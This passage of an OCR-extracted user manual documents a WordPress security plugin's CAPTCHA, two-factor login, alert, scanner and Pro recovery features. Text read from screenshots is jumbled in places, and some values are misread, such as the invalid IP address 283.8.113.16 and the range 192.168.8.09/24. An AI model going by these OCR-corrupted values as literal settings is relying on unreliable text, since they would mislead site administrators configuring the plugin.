characters (or a passphrase of 16), checked on the server wherever a password is set.

¢ Block breached passwords refuses passwords found in known data breaches. Only the first 5 characters
of the password's SHA-1 hash are sent to Have | Been Pwned, never the password.

CAPTCHA Recommended

Math question (built in, no account needed) W
A check that stops bots on the forms you choose below. Math question
works straight away with no account. Cloudflare Turnstile is the
friendliest: most visitors never click anything. If a CAPTCHA service is ever
down, or a key is wrong, the form still works and the problem is logged —
you can't lock yourself out with it.
Show the CAPTCHA on Login
Login is where bots try hardest. Comments only show it to logged-out Registration
visitors. Lost password

|:| Comments (logged-out visitors)

[] wooCommerce: My Account login (Pro)

|:| WooCommerce: My Account registration (Pro)
[[] wooCommerce: lost password (Pro)

D WooCommerce: checkout (Pro)

Login form honeypot Recommended ()
Adds a decoy field that's invisible to people but filled in by login bots.

Anything that fills it is blocked — no CAPTCHA, nothing for real visitors to

solve.

Custom login URL Recommended ' . .
203.0.113.10/ my-secret-login

Hide the login page from bots by moving it off wp-login.php. Leave
empty to keep the normal login page. Write your new URL down before
saving. If you ever get locked out, add define(
'DSSD_DISABLE_LOGIN URL', true ); towp-config.php to restore
wp-login.php. Current base: https://example.com/

The CAPTCHA, the honeypot and the custom login URL.

¢ Login form honeypot adds a field people can't see but bots fill in.

® Custom login URL moves the login page off wp-Tlogin.php ,for exampleto /my-secret-login/ .Write

the new address down before saving. Not available on multisite.

Wrong logins always show the same message, so attackers can't tell whether a username exists.

Two-factorlogin

After the password, two-factor login asks for a 6-digit code: from an authenticator app on your phone (Google
Authenticator, Microsoft Authenticator, 1Password, Authy and others), or sent to your email address. The app

is the safer choice; email needs no phone.



1. Go to Users — Profile and scroll to Two-factor login.

2. Click Use an authenticator app and scan the QR code, or type the key shown under it. Or click Email me

codes instead: email codes are only switched on after a test code has arrived, so a mailbox that never gets

the mail can't lock you out.

3. Type the code you got and confirm.

4. Save the 10 backup codes somewhere safe, such as a password manager. Each works once if you lose your

phone.

Two-factor login

Second step @ On: authenticator app - 10 backup codes left.

New backup codes Turn off

With two-factor login on, the profile shows how many backup codes are left.

Pro can require two-factor login for chosen roles, with a grace period, and ask for the code

again before risky actions. See Sessions and confirmations.

CAPTCHA ==

A CAPTCHA stops bots on the forms you choose. Pick one under Settings — Login protection — CAPTCHA.

Only the key boxes and the instructions for the one you pick are shown.

Math question FREE
Built in. No account, no keys,
nothing sent anywhere. A
simple sum like "whatis 2 +
47". Good for starting straight

away.

hCaptcha FREE

A privacy-focused checkbox,
similar to reCAPTCHA. Free

hCaptcha account.

Get hCaptcha keys

Cloudflare Turnstile
FREE

The friendliest: most visitors

never click anything. Free

Cloudflare account; your site

doesn't need to use
Cloudflare.

Get Turnstile keys

reCAPTCHA v3 PrO

Invisible. Google scores each
visit and Site Defense refuses

scores below your threshold.

Get v3 keys

Google reCAPTCHA
v2

FREE

The familiar "I'm not a
robot" checkbox. Needs a

Google account.

Get reCAPTCHA keys



Under Show the CAPTCHA on, tick the forms to protect: login, registration, lost password and comments

(comments only for logged-out visitors). The WooCommerce forms need Pro.

Username or Email Address

‘admin ‘

Password

| -

Security question: what is 6 + 67

|:| Remember Me @

Lost your password?

— Go to My WordPress Website

The math question on the login form.

You can't lock yourself out with it. If the CAPTCHA service is down, or a key is wrong, the
form still works and the problem is logged. Fix the keys and the CAPTCHA starts working again.

After you paste the keys
1. Click Save settings.

2. Open your login page in a private browser window (you stay logged in in the normal one) and check the
CAPTCHA appears.



3. Login once in the private window to confirm it accepts you.

Email alerts rr

By default you get one security email a week, on Monday morning, and only when something is new. A new

administrator and Site Defense being switched off are always emailed straight away.

Alerts

Scan reports go to one address. New-IF login alerts go to the administrator who logged in.

Send security emails to

: i owner@example.com
Where scan results, waiting updates and the alerts below go.

How often Recommended F
Once a week (Monday morning) v

Scan results, waiting updates and lockouts are collected into one email,
sent only when there is something new. A new administrator and Site
Defense being switched off are always emailed straight away.

Email when nothing is new

A short "all clear” email, so you know the scans are still running. Handy
for client sites.

Alert on admin login from a new IP  Recommended

8

Sent straight away to the administrator who logged in. The fastest way to
find out a password has been stolen.

Alert when an administrator is created Recommended

8

An email the moment a new administrator account appears or someone
is promoted to administrator — how most intruders keep their way back
in.

Alert if Site Defense is switched off Recommended ()

Malware often deactivates security plugins first. You get an email
whenever this plugin is deactivated.

Alert on login lockouts

Counts IPs and accounts locked out after failed logins in the security
email. With "Straight away", sent at most once an hour.

Alert when updates are waiting Recommended ()

Lists plugin, theme and WordPress updates in the security email, only
when a new update has appeared.

The Alerts card in Settings.

* Send security emails to: where scan results, waiting updates and the alerts below go.
* How often: once a week (the default), once a day, or straight after every scan.

¢ Email when nothing is new: a short "all clear", so you know the scans are still running. Handy for client
sites.



* Admin login from a new IP goes straight to the administrator who logged in. It is the fastest way to find

out a password has been stolen.

¢ Administrator created: the moment a new administrator appears or someone is promoted. This is how

most intruders keep their way back in.
¢ Site Defense switched off: malware often deactivates security plugins first.

¢ Login lockouts (off by default) and updates waiting (only when a new update appears).

Pro adds more events, extra recipients, Slack and Discord. See Alert centre.

Working alongside other security plugins r=:

Site Defense notices Wordfence, All-In-One Security, Solid Security, Loginizer, Sucuri, MalCare, Defender,

Shield and others, even in a renamed folder, and adjusts itself so the two don't fight:

* Firewall and login limits pause while the other plugin provides them. The Firewall tab and the dashboard
say so. The scanner, access rules, two-factor login, CAPTCHA, the honeypot and the breached-password

check keep running.

* Login page already hidden by another plugin: the custom login URL counts as done, and Site Defense

won't add a second one, because two plugins renaming the login page can lock you out.

* Asecond CAPTCHA or two-factor plugin gets a warning in Settings and on the profile page, so visitors

don't solve two CAPTCHAs and you don't type two codes.

s5a Network & compatibility

Get these right if your site is behind Cloudflare or a proxy, or if you run another security plugin.

Step aside for other security plugins Recommended ()
If Wordfence, All-In-Cne Security or a similar plugin is installed later, Site

Defense automatically pauses its own firewall and login limits so the two

don't clash.

Visitor IP comes from ;
i N o X-Real-IP (nginx reverse proxy) ~
Your IP as Site Defense sees it right now: 283.8.113.16 . If that's your

host's or Cloudflare's address rather than yours, change this — otherwise
one bad visitor could get everyone blocked.

Never block these IPs
Your office, your developer, uptime monitors. One per line — CIDR ranges
like 192.168.8.09/24 work too.

Untick Step aside for other security plugins to use Site Defense's firewall instead.



Scanner and network settings -

Q, Malware scanner

Checks core, plugin and theme files against WordPress.org, scans everything else for malware signatures, and inspects the live homepage.

Daily scan time
: s : ; 03:00 AM
When the automatic scan starts each day (+00:00 time). Pick a quiet hour

—the scan works in small steps but still uses some CPU. If you run another
scanner, choose a different hour.

Largest file to scan

3 MB
Files bigger than this are fingerprinted for change detection but not ‘ ‘
searched for signatures. Malware is almost always small; huge files are

usually bundles or logs.

Verification scan after fixes Recommended ()

After you restore or quarantine a file, a fresh scan runs a few minutes later
—several fixes in a row share one scan. Confirms the malware is really
gone and nothing put it back.

Google blocklist check Recommended

Asks Google Safe Browsing whether browsers are warning people away
from this site, once per scan. Only your site's address is sent.

Safe Browsing APl key

Recommended. A free key from Google Cloud (enable "Safe Browsing

API") uses Google's official, documented APL.

Check without a key

With no API key, read the public status from Google's Transparency
Report (transparencyreport.google.com) instead. It isn't an official APl and
can stop working at any time.

Folders to skip wp-content/cache

One per line, relative to the site root. Good candidates are backup and wp-content/updraft

cache folders — they're large and copies of files that are already scanned.

: ' _ : S wp-content/ailwm-backups
Other security plugins’ rule folders are skipped automatically. wp-content/backups-dup-lite

wp-content/uploads/backwpup

The Malware scanner card in Settings.

* Daily scan time: pick a quiet hour. If you run another scanner, choose a different hour.

* Largest file to scan: bigger files are fingerprinted for changes but not searched for signatures. Malware is

almost always small.

* Google blocklist check (off until you turn it on): checks whether Google Safe Browsing warns visitors away
from the site. A free Google Cloud key uses the official API; without one, the public Transparency Report is

read instead.
* Folders to skip: backup and cache folders that are large and already known.

* Visitor IP comes from (Network & compatibility): shows the address Site Defense sees for you. If that is

your host's or Cloudflare's address rather than yours, change it.



¢ Never block these IPs: your office, your developer, uptime monitors.

The Pro tab ==

Without the Pro add-on, the Pro tab explains what Pro adds, how to add it, and compares Free and Pro.

Nothing on this tab changes your site.

o Diamond Sierra Site Defense

Version 2.0.0

© 4 serious issues © Scan now

@ Dashboard Q, Scan results @ 8 Hardening % Firewall ®© Tasks & hidden code B Quarantine £} Settings m

% DIAMOND SIERRA SITE DEFENSE PRO

Clean a hacked site in one

click, and keep it clean.

Pro installs next to the free plugin and adds database cleanup, a recovery

kit, prot on after login, shop protection and too
many sites. Everything you have set up stays as it 1

for looki

s

Get Site Defense Pro Compare Free and Pro

=

One-click cleanup

e hides in the databas:
nds it and removes it

¥ Database scan: posts, options, page-builder
data, widgets and other plugins' tables

<

Remove injected code with a backup and one-
click unde

<

"Fix automatically” — every serious issue with a
safe fix, in one click

<

Delete or repair many files at once: tick them,
or "Delete all" for every high-risk file

<

Hidden administrators, rogue must-use plugins
and planted scheduled tasks

0

Recovery kit

A quided checklist so a cleaned site stays clean.

¥ Recover from a hack in one dick: every copy of
self-restoring malware, its settings and tasks
removed together, then a 14-day watch

<

Comeback detector: an email within the hour if
a deleted file returns, naming what put it back

¥ A cleanup report to print or save as PDF for
your client, under your own brand

<

Step-by-step recovery checklist that ticks itself
off

¥ New security keys in one click — signs out
anyone holding a stolen login

¥ Theme repair from the official WordPress.org
copy

¥ Hijacked site address and "anyone can register
as admin” put right

The top of the Pro tab, then one card per feature group.

How to add Pro

o Get Pro

Choose a plan and download the Pro plugin.

How to add Pro, on the same tab.

o Upload and activate
Plugins — Add New — Upload Plugin. Keep this

free plu

Removes malware from the database, with

undo

“Fix automatically” for every safe fix

Stops stolen login cookies

Invisible

Slack an

CAPTCHA for WooCommerce

d Discord alerts, white-label

When you are under attack

v

v

<

is on the site right now, and shut the door

Emergency lockdown: everyone else logged
out, installs paused, admin logins only from
your address, and one click to undo it all

Country blocking for the whole site or only the
login, with real search engines always let
through

Live traffic: every visit, bot and blocked request,
with a Block button on each

An email within the hour if the homepage is
defaced or starts sending visitors to ancther
site

o Use it right here

The Recovery tab, "Fix automatically" and the Pro

ppear in these screens,



Free and Pro compared

FEATURE FREE PRO
Scanning

Daily malware scan of files and the live homepage v v
Core, plugins and themes checked against WordPress.org v v
Risky plugin alerts (closed, security update waiting, abandoned) v v
Database scan v
Fake admins, malware tasks and settings, must-use plugins, exposed backups v v
Hidden admins and injected code in the database v
CVE matching and supply-chain watches v
How often Daily Up to hourly
Fixing

Delete, repair and view files one at a time, with a 30-day undo v v
Delete or repair many files at once v
Remove injected code from the database, with undo v
*Fix automatically” and the recovery kit v
Comeback detector and cleanup report v

Firewall and login

Firewall, login limits, honeypet and custom login URL v v
Early firewall that runs before WordPress v v
Country blocking and live traffic v
Emergency lockdown v
Approval by email for new administrators v
Security header editor and Content Security Policy v
Two-factor login and breached-password check v v
CAPTCHA: math, Turnstile, reCAPTCHA v2, hCaptcha v v
Invisible reCAPTCHA v3 and WooCommerce forms v
Stolen-cookie protection and "Confirm it's you® v
Your own malware signatures and firewall rules v

Alerts and tools

Email alerts for scans, new admins and new-IP logins v v
Hourly homepage check for defacement and redirects v
Alert centre, Slack/Discord, digests, activity log v
White-label and settings export/import v

The comparison at the bottom of the tab.

On the Site Defense dashboard, a What Site Defense Pro adds card shows the same groups. Don't show this

again hides it for your account.



° Diamond Sierra Site Defense

0.0

@ Dashboard

Q scan results 3P

# What Site Defense Pro adds

8 Hardening 5

% Firewall

(© Tasks & hidden code

E Quarantine

O 4 serious issues ©@ Scan now

£} Settings * Pro

Don't show this again

Everything on this screen stays free. Pro is a separate add-on for sites that were hacked, shops, and people who look after many sites.

£2 One-click cleanup

Malware hides in the database as often as in files. Pro

finds it and removes it safely.

* Database scan: posts, options, page-builder data,
widgets and other plugins' tables

* Remove injected code with a backup and one-click
undo

* "Fix automatically" — every serious issue with a safe
fix, in one click

) Protection after login

A stolen login cookie skips the password and two-

factor. Pro shuts that door.

* Sessions tied to the browser they started in

= "Confirm it's you" before installing plugins or
creating administrators

* Reguired two-factor login for the roles you
choose, with a grace period and your choice of
app or email codes

@ Alerts and agency tools

Look after many sites from one inbox, under your
own brand.

* Alert centre: every admin login, lockouts, plugin
and user changes

* Slack and Discord alerts, digests and a Monday
summary

* Activity log of who did what

The Pro card on the free dashboard.

Pro settings appear in Settings as a More with Pro card, and reCAPTCHA v3 and the WooCommerce forms are

1) Recovery kit

A guided checklist so a cleaned site stays clean.

* Recover from a hack in one click: every copy of
self-restoring malware, its settings and tasks
removed together, then a 14-day watch

s Comeback detector: an email within the hour if a
deleted file returns, naming what put it back

* A cleanup report to print or save as PDF for your
client, under your own brand

= shop protection

Stops fake accounts and card testing without slowing

real customers down.

* Card-testing shield: IPs with repeated failed
payments are shut out of the checkout

* CAPTCHA on WooCommerce login, registration,
lost password and checkout, classic and block

* |nvisible Google reCAPTCHA v3, order attempt
limits and Store API rate limiting

shown greyed out where they would live.

W When you are under attack

See who is on the site right now, and shut the door

in one click.

Emergency lockdown: everyone else logged out,
installs paused, admin logins only from your
address, and one click to undo it all

Country blocking for the whole site or only the
login, with real search engines always let through
Live traffic every visit, bot and blocked request,
with a Block button on each

© Vulnerability intelligence

Know about a hole before an attacker uses it.

Exact CVE matching for WordPress, plugins and
themes, no key needed

Premium and custom plugins fingerprinted — silent
changes reported

Plugins hidden from the Plugins screen flagged



¢ More with Pro  Pro

These settings appear here when Diamond Sierra Site Defense Pro is active.

£ Recover from a hack
Remove self-restoring malware, fake admins and fake plugins in one go, with
everything kept for undo.

£ Required two-factor login
Make chosen roles set up two-factor login, with a grace period and app or email
codes.

& Alert centre
More events, extra recipients, digests, Slack and Discord.

£ Country blocking
Turn away the whole site, or only logins, from the countries you choose.

£ security headers
Your own header values, and a Content Security Policy that reports before it
blocks.

& Live traffic
Every visit with its country, page and result, and a Block IP button on each.

See what

Sessions & sensitive actions
End a session when its cookie shows up in another browser, and ask for two-factor
again before risky changes.

Vulnerability check
Exact CVE matching for WordPress, plugins and themes, with no APl key needed.

Scan schedule & branding
Scan up to every hour, and show your own brand name.

New administrators need approval
A new administrator keeps Subscriber rights until you approve it by email.

Watches
An email within the hour if the homepage is defaced or starts redirecting visitors.

Al advisor
Plain-words advice on what to fix first, from the Al service you choose, Some are
free.

The More with Pro card.

No adverts anywhere else. These hints only appear inside Site Defense's own screens,

never on the WordPress dashboard or other pages, and they disappear as soon as Pro is active.



GETTING CAPTCHA KEYS

Cloudflare Turnstile -

Turnstile is free and works on any site. Your domain doesn't have to use Cloudflare; you only need a free
Cloudflare account to create the keys.

Get your Turnstile keys about 5 minutes

1. Go to dash.cloudflare.com. Create a free account, or log in. You can skip any step that asks you to

add a website or change nameservers.
2. In the left menu, click Turnstile. If you can't see it, type "Turnstile" in the search box at the top.
3. Click Add widget and give it a name you will recognise, such as your site's name.

4. Under Hostnames, add your domain without https:// ,for example example.com ,and the

www version if your site uses it.
5. Choose Managed as the widget mode, leave pre-clearance off and click Create.
6. Copy the Site Key and Secret Key.

7. In WordPress, go to Site Defense — Settings — Login protection, set CAPTCHA to Cloudflare

Turnstile, paste the two keys and click Save settings.

8. Check it as described under After you paste the keys.

CAPTCHA Recommended .
Cloudflare Turnstile ([recommended) v

A check that stops bots on the forms you choose below. Math question
works straight away with no account. Cloudflare Turnstile is the
friendliest: most visitors never click anything. If a CAPTCHA service is ever
down, or a key is wrong, the form still works and the problem is logged —
you can't lock yourself out with it.

Cloudflare Turnstile keys Site key

¥ How to get your keys (about 5 minutes) ‘

=y

. Open dash.cloudflare.com and create a free account, or log in. Secret key

Your domain does not have to use Cloudflare. ‘

2. In the left menu open Turnstile {or type "Turnstile" in the search

box at the top).

w

Click Add widget and give it 3 name you will recognise, such as
your site name.

4. Under Hostnames, add example.com (and the www version if
your site uses it).

5. Choose Managed as the widget mode, leave pre-clearance off
and click Create.

6. Copy the Site Key and Secret Key into the two boxes on the right,
then click Save settings.

The same steps are shown in Site Defense next to the key boxes, with your own domain filled in.


https://dash.cloudflare.com/sign-up

Lost the secret? Open the widget in the Turnstile list. You can see the site key and rotate the

secret key there (paste the new one into Site Defense).

"Invalid domain" The hostname in Cloudflare doesn't match your site. Add the exact domain

visitors use, with and without www .

Testing on staging Add the staging domain to the same widget, or create a second widget for it.

Google reCAPTCHA v2 ==

Get your reCAPTCHA v2 keys about 5 minutes

1. Go to google.com/recaptcha/admin/create and sign in with a Google account.

2. Enter a Label, for example your site's name.

3. Under reCAPTCHA type, choose Challenge (v2), then "I'm not a robot" Checkbox.
4. Under Domains, add your domain without https:// ,for example example.com .
5. Accept the terms and click Submit.

6. Copy the Site key and Secret key into the boxes in Site Defense (CAPTCHA set to Google reCAPTCHA
v2), then click Save settings.

CAPTCHA Recommended
Google reCAPTCHA v2 — "I'm not a robot” checkkw

A check that stops bots on the forms you choose below. Math question
works straight away with no account. Cloudflare Turnstile is the
friendliest: most visitors never click anything. If a CAPTCHA service is ever
down, or a key is wrong, the form still works and the problem is logged —
you can't lock yourself out with it.

Google reCAPTCHA v2 keys Site key

¥ How to get your keys (about 5 minutes) ‘ ‘

—

. Open google.com/recaptcha/admin/create and sign in with a Secret key
Google account. ‘ ‘

[

. Enter a Label (your site name).

Under reCAPTCHA type choose Challenge (v2) and then “I'm not
a robot" Checkbox.

w

ey

. Under Domains, add example.com .

w

. Accept the terms and click Submit.

(=1

. Copy the Site key and Secret key into the two boxes on the right,
then click Save settings.

The reCAPTCHA v2 keys and steps in Site Defense.


https://www.google.com/recaptcha/admin/create

Find the keys later At google.com/recaptcha/admin, open the site and click
Settings, then reCAPTCHA keys.

"Invalid domain for site key" Add your domain under Domains in the reCAPTCHA settings.

Asked to use Google Cloud?  Newer Google accounts may be asked to create the key in a
Google Cloud project. Follow the prompts; the result is the same

site key and secret key.

hCaptcha r=

Get your hCaptcha keys about 5 minutes
1. Go to dashboard.hcaptcha.com and create a free account, or log in.
2. Open Sites and click Add new site.

3. Under Hostnames, add your domain, for example example.com , then save. Copy the Sitekey
shown for the site.

4. Open your account Settings and copy the Secret Key. It starts with 0x .

5. In Site Defense set CAPTCHA to hCaptcha, paste both keys and click Save settings.

CAPTCHA Recommended
hCaptcha v
A check that stops bots on the forms you choose below. Math question

works straight away with no account. Cloudflare Turnstile is the
friendliest: most visitors never click anything. If a CAPTCHA service is ever
down, or a key is wrong, the form still works and the problem is logged -
you can't lock yourself out with it.

hCaptcha keys Site key

¥ How to get your keys (about 5 minutes) ‘ ‘

=y

. Open dashboard.hcaptcha.com and create a free account, or log Secret key

in ‘ ‘
. Go to Sites and click Add new site. |

[

[£5)

. Under Hostnames, add example.com , then save. Copy the
Sitekey shown for the site.

4. Open your account Settings and copy the Secret Key (it starts
with @x ).

5. Paste both into the two boxes on the right, then click Save
settings.

The hCaptcha keys and steps in Site Defense.


https://www.google.com/recaptcha/admin
https://dashboard.hcaptcha.com/signup

Google reCAPTCHA v3 rre

reCAPTCHA v3 shows nothing to visitors. Google scores every visit from 0.0 (bot) to 1.0 (human), and Site
Defense refuses requests that score below your threshold. It suits shops, where every extra click costs sales.

Get your reCAPTCHA v3 keys about 5 minutes

1. Go to google.com/recaptcha/admin/create and sign in.
2. Enter a Label and choose Score based (v3) as the type.
3. Add your domain under Domains, accept the terms and click Submit.

4. Copy the Site key and Secret key. v2 keys don't work with v3: create a separate v3 key even if you
already have a v2 one.

5. In Site Defense set CAPTCHA to Google reCAPTCHA v3, paste the keys, and leave Refuse scores
below at 0.5 .

6. Save, and watch the login log for a few days. If real customers are refused, loweritto 0.3 . If bots

still get through, raiseitto 0.7 .

CAPTCHA Recommended o
Google reCAPTCHA v3 — invisible, score based (Piv
A check that stops bots on the forms you choose below. Math question

works straight away with no account. Cloudflare Turnstile is the
friendliest: most visitors never click anything. If a CAPTCHA service is ever
down, or a key is wrong, the form still works and the problem is logged -
you can't lock yourself out with it.

Google reCAPTCHA v3 keys Site key

¥ How to get your keys (about 5 minutes) ‘

.

. Open google.com/recapicha/admin/create and sign in with a Secret key
Google account. ‘

2. Enter a Label and choose Score based (v3) as the reCAPTCHA

type. Refuse scores below (0.1-0.9)
3. Under Domains, add example.com , accept the terms and click 0.5

Submit.

4. Copy the Site key and Secret key into the boxes on the right. v2
keys don't work with v3 — create a separate v3 key.

5. Start with a threshold of 0.5. If real customers get refused, lower it
to 0.3; if bots still get through, raise it to 0.7.

The reCAPTCHA v3 keys, the threshold and the steps.


https://www.google.com/recaptcha/admin/create

PRO ADD-ON

Installing Pro -~

1. Keep the free Diamond Sierra Site Defense plugin installed, active and up to date. Pro 2.0 needs the free

plugin 2.0 or newer.

2.Upload diamond-sierra-site-defense-pro.zip under Plugins — Add New — Upload Plugin and

activate it.
3. Go to Site Defense — Pro License, paste the licence key from your order email and click Activate.

4. The Recovery and Live traffic tabs appear, the Pro cards appear in Settings, and the Pro tab turnsinto a

status page.

: 0 Diamond Sierra Site Defense

O 4 serious issues @ Scan now
Version 2.0.0

@ Dashboard Q Scan results @B D Recovery i Hardening D) % Firewall @ Tasks & hidden code B Quarantine

£} Settings m A Live traffic

# DIAMOND SIERRA SITE DEFENSE PRO 2.0.0 icence No licence key entered (running on a

test unlock)

Pro is active on this site.

Database cleanup, the recovery kit, protection after login, shop

Once a day

protection and the alert centre are all switched on. Each card below links ] e Diamond Sierra Site Defense

to where you use It.

g

e 0 @
One-click cleanup  On Recovery kit  On When you are under attack on
re hides in the database as often as in files. A guided checklist so a cleaned site stays clean. ) is on the site right now, and shut the door
Pro finds it and removes it safely. in one click.

v Recover from a hack in one click: every copy of

v Database scan: posts, options, page-builder self-restoring malware, its settings and tasks ¥ Emergency lockdown: everyone else logged
data, widgets and other plugins' tables removed together, then a 14-day watch out, installs paused, admin legins only from
v Remove injected code with a backup and one- v Comeback detector: an email within the hour if Yo Eddiessyand.ooe Hhck i ondo 1t o
click undo a deleted file returns, naming what put it back v Country blocking for the whole site or only the
¥ "Fix automatically" — every serious issue with a ¥ A cleanup report to print or save as PDF for login, wathreal sesrch engines always let
safe fix, in one click your client, under your own brand through
. : . v Li = isit, ! q
v Delete or repair many files at once: tick them, v Step-by-step recovery checklist that ticks itself Llyitraf‘ﬁc ;:W i, bat ;rd blocked request,
or "Delete all” for every high-risk file off Wity 2 Hlock butlonion g
¥ Hidden administrators, rogue must-use plugins v Mew security keys in one click - signs out ¥ An email within the ho.ur if .tr!ehomeﬂpage b
and planted scheduled tasks anyone holding a stolen login desaced o stafts sending visitors:o:anothier

site
v Theme repair from the official WordPress.org

With Pro active, the Pro tab shows your Pro settings at a glance and a card for each feature group, with a link to

where you use it.



Your licence

® The key is in your order confirmation email and under My Account — Licenses on diamondsierra.com.

Updates appear on the Plugins screen while the licence is current.
¢ Anended licence keeps Pro working. Only updates and support stop until you renew.

® The site checks the key once a day. A short store outage changes nothing; if the site can't reach

diamondsierra.com for more than 30 days, the Pro features pause until the next successful check.

* To move Pro to another site, remove the key on the old site's Pro License page (or in My Account —

Licenses) first.

If Pro is deactivated, its settings are kept and its features pause. The free plugin keeps working on its own and

still recognises Pro's files, so they are never reported as malware.

Recover from a hack rro

Self-restoring malware keeps several copies of itself, plus settings and scheduled tasks that put a deleted copy
back. Removing one piece at a time doesn't work: the others restore it. Recover from a hack on the Recovery

tab removes every piece in one go.

W Recover from a hack
Removes self-restoring malware the only way that works: every copy, its settings and its scheduled tasks in one go, so no copy can put the others back. Everything removed is kept

on the Quarantine tab, so any step can be undone,

Done automatically

1 malware file moved to guarantine (or replaced with the original, inside real plugins):
® wp-content/mu-plugins/wp-runtime-guard.php

The malware's settings and scheduled tasks deleted (backups kept):

* csc_guardian_state
* puardian_backup path
* csc_guardian_healthcheck

* c¢sc_geogate refresh

Also: every other login session ends, the math question goes on the login form {unless another CAPTCHA is there), and a 14-day recovery watch starts with two scans a day and
instant emails. Then the homepage is loaded once to see whether anything comes back.

Your choice

Delete the account shopper — Account "shopper" is labelled "Subscriber” but has administrator powers

Finish with new security keys (everyone, you included, logs in again)

Take a backup first if you can. Files and settings go to Quarantine and the cleaner's backups; deleted accounts can't be brought back, so untick any you recognise.
Before you click, the card lists exactly what will be removed and what you decide.

* Done automatically: the malware files go to quarantine (inside real plugins, the original file is put back),
and its settings and scheduled tasks are deleted with backups kept.

* Also: every other login session ends, the math question goes on the login form (unless another CAPTCHA is

set), and a 14-day recovery watch starts with two scans a day and instant emails.



¢ Your choice: delete fake administrator accounts, and finish with new security keys (everyone, you

included, logs in again).

Everything except a deleted account can be undone from the Quarantine tab and the cleaner's backups.

After a cleanup

The checklist under it walks you through the rest. Steps Site Defense can check tick themselves; the others you

confirm.

@ After a cleanup
Last fix 6 minutes ago. Removing the malware is only half the job - stolen passwords and login cookies still work until you change them. Steps Site Defense can check tick
themselves.

1of 8 done

Confirm the site is clean with a fresh scan  Checked automatically

4 serious issues are still open.

Review & fix
Regenerate the security keys Checked automatically
2 Signs everyone out, including an attacker holding a stolen login cockie. Cookies keep working after a password change — new keys are the only way to kill them. You'll need Regenerate kEF

to log in again.

3 Change every administrator password ( Open administrators ] [ Mark as done ]

Your site has 1 administrator. Give the account a new, unique password — and delete any admin you don't recognise.

—

Change hosting, FTP/SFTP and database passwords | sk aadgng |

4
Malware usually reads wp-config.php, which holds the database password. Change it in your hosting panel first, then update DB_PASSWORD in wp-config.php to match.
5 Review scheduled tasks Show bk Mark:as isvised
A leftover task can re-download the malware or recreate a hidden admin. Check the list below for anything you don't recognise.
I R
v Install every update Checked automatically
Everything is up to date.
Delete plugins you don't use Checked automatically s . -
7 Review inactive plugins

2 inactive plugins are still on the server and can still be exploited. L

Clear every cache
8 =y ) . Mark as done
Cache plugins, your host's cache and Cloudflare can keep senving infected pages for days. Purge them all.

Steps you marked as done before the most recent fix are un-ticked again, since anything done before a cleanup may have been undone by the attacker.

Regenerate keys signs everyone out, including an attacker holding a stolen login cookie.

Comeback detector

Every hour, and in every scan, Pro checks the files you deleted. If one is back, you get an email at once with
what most likely put it back: code that names the file, copies of it elsewhere, database settings holding its

name, suspicious scheduled tasks, and what happened on the site just before.

More in Pro's cleanup

e Database scan: posts, options, page-builder data, widgets and other plugins' tables, for injected scripts

and encoded payloads. Remove injected code takes a backup first, with undo.



¢ Fix automatically applies every safe fix for serious issues in one click.
* Ahijacked site address and "anyone can register as administrator" are put right in one click.

* Theme repair rewrites changed theme files from the WordPress.org copy and quarantines PHP files the

theme never shipped with.

Bulk actions rro

With Pro, the scan results get tick boxes. Tick rows, choose Delete ticked files, Repair ticked files, Mark
ticked as fixed or Ignore ticked, and click Apply. Next to the menu, Repair all and Delete all (with the
number of files) take only high-risk and critical findings: notes such as a new must-use plugin or a backup file
are left for you to look at. Everything deleted is kept 30 days on the Quarantine tab. See the scan results

picture.

Emergency lockdown e

For when the site is under attack or was just broken into. Start lockdown on the Recovery tab, in one click:

* logs everyone else out,

® pauses plugin and theme installs, updates and file editing,
® closes registration,

® lets administrators log in only from your current address,

¢ and makes the firewall strict.

End lockdown puts every setting back exactly as it was.

& Emergency lockdown
For when the site is under attack or was just broken into. One click logs everyone else out, pauses plugin and theme installs, updates and file editing, closes registration, lets
administrators log in only from your current address, and makes the firewall strict. Ending it puts every setting back as it was.

| Start lockdown

Locked out after your address changed? Add define( 'DSSD DISABLE LOGIN ALLOWLIST®, true ); ftowp-config.php, login and end the lockdown.

E Cleanup report
What was found and done, and where the site stands now, on one page to print or save as PDF for a client. It carries your own product name if you set one.

{ Last 7 days ‘| Last 90 days

The lockdown and the cleanup report, on the Recovery tab.



Locked out after your address changed? Add define(
'DSSD_DISABLE_LOGIN_ALLOWLIST', true ); to wp-config.php,login, end the lockdown,

and remove the line again.

Cleanup report sre

What was found and done in the last 7, 30 or 90 days, and where the site stands now, on one page to print or

save as PDF for a client. It carries your own product name if you set one under branding.

Print or save as PDF

Security report for My WordPress Website

httpsi//example.com/

October 8, 2026 to November 7, 2026
Diamond Sierra Site Defense

4 1 5 59

Serious issues open Now issues found and resolved firewall events security score out of 100

Where the site stands

Last full scan November 7, 2026 6:29 pm, 2,440 files

Openissues 3 ritical, 1 high, 2 medium, 1 low
Firewall on

Login 2 login security events in the period: lockouts, refused logins, wiong two-factor codes and administrater logins
protection from new addresses

What was done
WHEN WHAT

November 7, 2026 7:06 pm Deleted a file
wp-config.php.bak

still to do
Critical Account “shopper” is labelled "Subscriber” but has administrator powers
user:4
Critical Settings of known self-restoring malware are in the database

option:cse_gusrdian_state

Critical Scheduled tasks of known self-restoring malware are set to run

cron:csc_guardian_healthcheck

High Known malware watchdog file (wp-runtime-guard / wp-site-guard)

wp-centent/mu-plugins/wp-runtime-guard.php

Medium goto-based abfuscation
wp-centent/plugins/akismet/cgnghixvx.php

Medium New administrator “admin” registered on 2026-11-07 18:26:02

user:1

Low Must-use plugin: runs on every page and doesn't appear on the Plugins screen. Make sure you recognise it.

wp-content/mu-plugins/wp-runtime-guard.php

Hardening  Custom lagin URL
Password-guessing bots hit wp-login,php by name. A login page they can't find is one they can't attack — it stops the
vast majority of brute-force traffic before it starts.

Hardening  Unique security keys
With missing or sample keys, login cookies are far easier to forge. After a hack. new keys are the only way to sign out
an attacker who stole a cookie.

Hardening ~ Site uses HTTPS
Without it, passwords and cookies cross the network in plain text,

Hardening No account named “admin”
With "admin” taken care of, a brute-force bot has to guess the username and the password.

Hardening  Safe file permissions

On shared hosting, a file anyone can write to can be changed by every other account on the same server, including
one that has been hacked.

Click Print or save as PDF at the top. The button doesn't print.



Al advisor #ro

The Al advisor reads a summary of the latest scan and tells you, in plain words, what to fix first, naming the
Site Defense button for each step. You choose the Al service and use your own key. Nothing is sent until you
press Ask the advisor on the dashboard.

! Al advisor Pro

Reads a summary of the latest scan and says what to fix first. Pick the Al service you want and paste its AP key. Every service needs a key; Gemini, OpenRouter and Grog give you
one for free, no card needed.

Al service

